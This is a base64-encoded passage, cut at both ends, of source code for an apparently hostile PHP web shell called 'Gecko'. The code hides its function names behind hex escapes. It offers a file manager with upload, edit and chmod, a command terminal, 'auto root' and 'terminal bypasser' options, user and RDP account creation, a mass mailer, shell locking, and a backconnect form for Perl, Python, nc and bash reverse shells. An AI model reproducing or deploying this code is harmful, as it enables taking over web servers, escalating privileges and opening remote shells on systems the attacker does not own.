7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgbWFyZ2luOiA1cHggMAogICAgICAgIH0KCiAgICAgICAgLmJjLWdlY2tvIHsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBwYWRkaW5nOiA3cHggMTBweDsKICAgICAgICAgICAgd2lkdGg6IDcxMnB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbjogMTVweCA0MHB4CiAgICAgICAgfQoKICAgICAgICAubWFpbCB7CiAgICAgICAgICAgIHdpZHRoOiA3MDVweDsKICAgICAgICAgICAgcmVzaXplOiBub25lOwogICAgICAgICAgICBoZWlnaHQ6IDEwMHB4CiAgICAgICAgfQoKICAgICAgICAubG9nby1nZWNrbyB7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgdG9wOiAtOTBweDsKICAgICAgICAgICAgcmlnaHQ6IDQwcHg7CiAgICAgICAgICAgIHotaW5kZXg6IC0xOwogICAgICAgICAgICBib3R0b206IDAKICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9Im1lbnUtaGVhZGVyIj4KICAgICAgICA8dWw+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtc29saWQgZmEtY29tcHV0ZXIiPjwvaT4mbmJzcDs8Pz0gJGZ1bmdzaVs4XSgpOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtc29saWQgZmEtc2VydmVyIj48L2k+Jm5ic3A7PD89ICRfU0VSVkVSWyJceDUzXHg0NVx4NTJceDU2XHg0NVx4NTJceDVmXHg1M1x4NGZceDQ2XHg1NFx4NTdceDQxXHg1Mlx4NDUiXTsgPz48L2xpPgogICAgICAgICAgICA8bGk+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLW5ldHdvcmstd2lyZWQiPjwvaT4mbmJzcDs6IDw/PSAkX1NFUlZFUlsiXHg1M1x4NDVceDUyXHg1Nlx4NDVceDUyXHg1Zlx4NDFceDQ0XHg0NFx4NTIiXTsgPz4gfCZuYnNwOzogPD89ICRfU0VSVkVSWyJceDUyXHg0NVx4NGRceDRmXHg1NFx4NDVceDVmXHg0MVx4NDRceDQ0XHg1MiJdOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtc29saWQgZmEtZ2xvYmUiPjwvaT4mbmJzcDs8Pz0gcygpOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtYnJhbmRzIGZhLXBocCI+PC9pPiZuYnNwOzw/PSBQSFBfVkVSU0lPTjsgPz48L2xpPgogICAgICAgICAgICA8bGk+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXIiPjwvaT4mbmJzcDs8Pz0gJGZ1bmdzaVs5XSgpOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaSBjbGFzcz0ibG9nby1nZWNrbyI+PGltZyB3aWR0aD0iNDAwIiBoZWlnaHQ9IjQwMCIgc3JjPSJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vTWFkRXhwbG9pdHMvR2Vja28vbWFpbi9nZWNrbzEucG5nIiBhbGlnbj0icmlnaHQiPjwvbGk+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Jzw/PSAiXHg2ZFx4NzVceDZjXHg3NFx4NjlceDcwXHg2MVx4NzJceDc0XHgyZlx4NjZceDZmXHg3Mlx4NmRceDJkXHg2NFx4NjFceDc0XHg2MSI7ID8+Jz4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0iZm9ybS11cGxvYWQiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQiIG5hbWU9ImdlY2tvLXVwLXN1Ym1pdCIgY2xhc3M9ImJ0bi1zdWJtaXQiPiZuYnNwOzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJnZWNrby11cGxvYWQiIGNsYXNzPSJmb3JtLWZpbGUiPjwvbGk+CiAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICA8L3VsPgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJtZW51LXRvb2xzIj4KICAgICAgICA8dWw+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZ0ZXJtaW5hbD1ub3JtYWwiIGNsYXNzPSJidG4tc3VibWl0Ij5UZXJtaW5hbDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mdGVybWluYWw9cm9vdCIgY2xhc3M9ImJ0bi1zdWJtaXQgYmFkZ2Utcm9vdCI+QVVUTyBST09UPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZhZG1pbmVyIiBjbGFzcz0iYnRuLXN1Ym1pdCI+QWRtaW5lcjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mZGVzdHJveSIgY2xhc3M9ImJ0bi1zdWJtaXQiPkJhY2tkb29yIERlc3Ryb3llcjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iLy93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoP3E9TGludXglMjBLZXJuZWwlMjA8Pz0gc3VnZ2VzdF9leHBsb2l0KCk7ID8+IiBjbGFzcz0iYnRuLXN1Ym1pdCI+TGludXggRXhwbG9pdDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mbG9ja3NoZWxsIiBjbGFzcz0iYnRuLXN1Ym1pdCI+TG9jayBTaGVsbDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBjbGFzcz0iYnRuLXN1Ym1pdCBiYWRnZS1saW51eCIgaWQ9ImxvY2stZmlsZSI+TG9jayBGaWxlPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0IGJhZGdlLXJvb3QiIGlkPSJyb290LXVzZXIiPkNyZWF0ZSBVc2VyPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0IiBpZD0iY3JlYXRlLXJkcCI+Q1JFQVRFIFJEUDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mbWFpbGVyIiBjbGFzcz0iYnRuLXN1Ym1pdCI+UEhQIE1haWxlcjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mYmFja2Nvbm5lY3QiIGNsYXNzPSJidG4tc3VibWl0Ij5CQUNLQ09OTkVDVDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mdGVybWluYWw9YnlwYXNzZXIiIGNsYXNzPSJidG4tc3VibWl0Ij5URVJNSU5BTCBCWVBBU1NFUjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iLy9oYXNoZXMuY29tL2VuL3Rvb2xzL2hhc2hfaWRlbnRpZmllciIgY2xhc3M9ImJ0bi1zdWJtaXQiPkhBU0ggSURFTlRJRklFUjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBjbGFzcz0iYnRuLXN1Ym1pdCBiYWRnZS13aW5kb3dzIiBpZD0ibG9jay13aW5kb3dzIj5Mb2NrIEZpbGU8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQiPlJDRSBPVlc8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQiPlVQTEQgT1ZXPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0Ij5KVU1QUEVSPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0Ij5DR0lQUk88L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQiPkRPTUFJTiBMT09LVVA8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQiPldIT0lTPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0Ij5DUEFORUwgUkVTRVQ8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQiPkNPTkZJRyBSRUFERVIhPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0Ij5DT01QUkVTU09SPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIvL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHMvIiBjbGFzcz0iYnRuLXN1Ym1pdCI+UkVBRE1FPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZsb2dvdXQ9VHJ1ZSIgY2xhc3M9ImJ0bi1zdWJtaXQiPkxPR09VVCE8L2E+PC9saT4KICAgICAgICA8L3VsPgogICAgPC9kaXY+CgogICAgPD9waHAKCiAgICAkZmlsZV9tYW5hZ2VyID0gJGZ1bmdzaVsxXSgiey5bIS5dLH0qIiwgR0xPQl9CUkFDRSk7CiAgICAkZ2V0X2N3ZCA9ICRmdW5nc2lbMF0oKTsKICAgID8+CgogICAgPGRpdiBjbGFzcz0ibWVudS1maWxlLW1hbmFnZXIiPgogICAgICAgIDx1bD4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgaWQ9ImNyZWF0ZV9mb2xkZXIiPisgQ3JlYXRlIEZvbGRlcjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBpZD0iY3JlYXRlX2ZpbGUiPisgQ3JlYXRlIEZpbGU8L2E+PC9saT4KICAgICAgICA8L3VsPgogICAgICAgIDxkaXYgY2xhc3M9InBhdGgtcHdkIj4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGdldF9jd2QpOyAvLyB1bnR1ayBkaXIgZ2FyaXMgd2luZG93cwogICAgICAgICAgICAkcHdkID0gZXhwbG9kZSgiLyIsICRjd2QpOwogICAgICAgICAgICBpZiAoc3RyaXN0cihQSFBfT1MsICJXSU4iKSkgewogICAgICAgICAgICAgICAgd2luZG93c0RyaXZlcigpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRwd2QgYXMgJGlkID0+ICR2YWwpIHsKICAgICAgICAgICAgICAgIGlmICgkdmFsID09ICcnICYmICRpZCA9PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnJm5ic3A7PGEgaHJlZj0iP2Q9JyAuIGh4KCcvJykgLiAnIj48aSBjbGFzcz0iZmEtc29saWQgZmEtZm9sZGVyLXBsdXMiPjwvaT4mbmJzcDsvIDwvYT4nOwogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCR2YWwgPT0gJycpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP2Q9JzsKICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsKICAgICAgICAgICAgICAgICAgICBlY2hvIGh4KCRwd2RbJGldKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGkgIT0gJGlkKSBlY2hvIGh4KCIvIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICciPicgLiAkdmFsIC4gJyAvICcgLiAnPC9hPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPGEgc3R5bGU9J2ZvbnQtd2VpZ2h0OmJvbGQ7IGNvbG9yOm9yYW5nZTsnIGhyZWY9Jz9kPSIgLiBoeChfX0RJUl9fKSAuICInPlsgSE9NRSBTSEVMTCBdPC9hPiZuYnNwOyI7CiAgICAgICAgICAgID8+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPC91bD4KICAgICAgICA8dGFibGUgc3R5bGU9IndpZHRoOiAxMDAlOyI+CiAgICAgICAgICAgIDx0aGVhZD4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGg+TmFtZTwvdGg+CiAgICAgICAgICAgICAgICAgICAgPHRoPlNpemU8L3RoPgogICAgICAgICAgICAgICAgICAgIDx0aD5QZXJtaXNzaW9uPC90aD4KICAgICAgICAgICAgICAgICAgICA8dGg+QWN0aW9uPC90aD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGhlYWQ+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgIDwhLS0gR2Vja28gRm9sZGVyIEZpbGUgTWFuYWdlciAtLT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZmlsZV9tYW5hZ2VyIGFzICRfRCkgOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZ1bmdzaVsyXSgkX0QpKSA6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2tbXSIgdmFsdWU9Ijw/PSAkX0QgPz4iPiZuYnNwOzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1mb2xkZXItb3BlbiIgc3R5bGU9ImNvbG9yOm9yYW5nZTsiPjwvaT4mbmJzcDs8YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpIC4gIi8iIC4gJF9EKTsgPz4iPjw/PSBuYW1hUGFuamFuZygkX0QpOyA/PjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5bIERJUiBdPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkZnVuZ3NpWzRdKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSIjMDBmZjAwIj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoISRmdW5nc2lbNV0oJGZ1bmdzaVswXSgpIC4gJy8nIC4gJF9EKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHBlcm1zKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIEFjdGlvbiBGb2xkZXIgTWFuYWdlciAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSk7ID8+JnJlPTw/PSBoeCgkX0QpID8+IiBjbGFzcz0iYmFkZ2UtYWN0aW9uLWVkaXRvciI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXBlbi10by1zcXVhcmUiPjwvaT48L2E+Jm5ic3A7PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSk7ID8+JmNoPTw/PSBoeCgkX0QpID8+IiBjbGFzcz0iYmFkZ2UtYWN0aW9uLWNobW9kIj48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1wZW4iPjwvaT48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+CiAgICAgICAgICAgICAgICAgICAgPCEtLSBHZWNrbyBGaWxlcyBNYW5hZ2VyIC0tPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRmaWxlX21hbmFnZXIgYXMgJF9GKSA6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkZnVuZ3NpWzNdKCRfRikpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJjaGVja1tdIiB2YWx1ZT0iPD89ICRfRiA/PiI+Jm5ic3A7PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZpbGUtbGluZXMiPjwvaT4mbmJzcDs8YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKTsgPz4mZj08Pz0gaHgoJF9GKTsgPz4iIGNsYXNzPSJnZWNrby1maWxlcyI+PD89IG5hbWFQYW5qYW5nKCRfRik7ID8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/PSBmb3JtYXRTaXplKGZpbGVzaXplKCRfRikpOyA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoaXNfd3JpdGFibGUoJGZ1bmdzaVswXSgpIC4gJy8nIC4gJF9EKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IiMwMGZmMDAiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICghaXNfcmVhZGFibGUoJGZ1bmdzaVswXSgpIC4gJy8nIC4gJF9GKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHBlcm1zKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIEFjdGlvbiBGaWxlIE1hbmFnZXIgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpOyA/PiZyZT08Pz0gaHgoJF9GKSA/PiIgY2xhc3M9ImJhZGdlLWFjdGlvbi1lZGl0b3IiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1wZW4tdG8tc3F1YXJlIj48L2k+PC9hPiZuYnNwOzxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpOyA/PiZjaD08Pz0gaHgoJF9GKSA/PiIgY2xhc3M9ImJhZGdlLWFjdGlvbi1jaG1vZCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXItcGVuIj48L2k+PC9hPiZuYnNwOzxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpOyA/PiZkb249PD89IGh4KCRfRikgPz4iIGNsYXNzPSJiYWRnZS1hY3Rpb24tZG93bmxvYWQiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1kb3dubG9hZCI+PC9pPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgPC90YWJsZT4KICAgICAgICA8YnI+CiAgICAgICAgPHNlbGVjdCBuYW1lPSJnZWNrby1zZWxlY3QiIGNsYXNzPSJidG4tc3VibWl0Ij4KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZGVsZXRlIj5EZWxldGU8L29wdGlvbj4KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idW56aXAiPlVuemlwPC9vcHRpb24+CiAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InppcCI+WmlwPC9vcHRpb24+PGJyPgogICAgICAgIDwvc2VsZWN0PgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1hY3Rpb24iIHZhbHVlPSJTdWJtaXQiIGNsYXNzPSJidG4tc3VibWl0IiBzdHlsZT0icGFkZGluZzogOC4zcHggMzVweDsiPgogICAgICAgIDwvZm9ybT4KCiAgICAgICAgPCEtLSBNb2RhbCBQb3AgSnF1ZXJ5IENyZWF0ZSBGb2xkZXIvRmlsZSBCeSAuL01yTWFkIC0tPgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgPGgzPjxiPjxpIGlkPSJtb2RhbC10aXRsZSI+JHt0aGlzLnRpdGxlfTwvaT48L2I+PC9oMz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9Im1vZGFsLWJvZHktYmMiPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBpZD0ibW9kYWwtaW5wdXQiPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYnRuLWZvcm0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciPiZuYnNwOzxidXR0b24gY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93IiBpZD0iY2xvc2UtbW9kYWwiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2JhY2tjb25uZWN0J10pKSA6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwgYWN0aXZlIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgPGgzPjxiPjxpIGlkPSJtb2RhbC10aXRsZSI+OjogQmFja2Nvbm5lY3Q8L2k+PC9iPjwvaDM+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPSJiYy1nZWNrbyBib3gtc2hhZG93IiBuYW1lPSJnZWNrby1iYyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSItIj5DaG9vc2UgQmFja2Nvbm5lY3Q8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InBlcmwiPlBlcmw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InB5dGhvbiI+UHl0aG9uPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJydWJ5Ij5SdWJ5PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJiYXNoIj5CYXNoPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwaHAiPnBocDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibmMiPm5jPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJzaCI+c2g8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Inh0ZXJtIj5YdGVybTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZ29sYW5nIj5Hb2xhbmc8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJiYWNrY29ubmVjdC1ob3N0IiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iMTI3LjAuMC4xIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9Im51bWJlciIgbmFtZT0iYmFja2Nvbm5lY3QtcG9ydCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IjEzMzciPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1idG4tZm9ybSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQtYmMiIHZhbHVlPSJTdWJtaXQiIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyI+Jm5ic3A7PGEgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93IiBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiI+Q2xvc2U8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKGlzc2V0KCRfR0VUWydtYWlsZXInXSkpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBhY3RpdmUiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250YWluZXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KICAgICAgICAgICAgICAgICAgICA8aDM+PGI+PGkgaWQ9Im1vZGFsLXRpdGxlIj46OiBQSFAgTWFpbGVyPC9pPjwvYj48L2gzPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaXNpIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2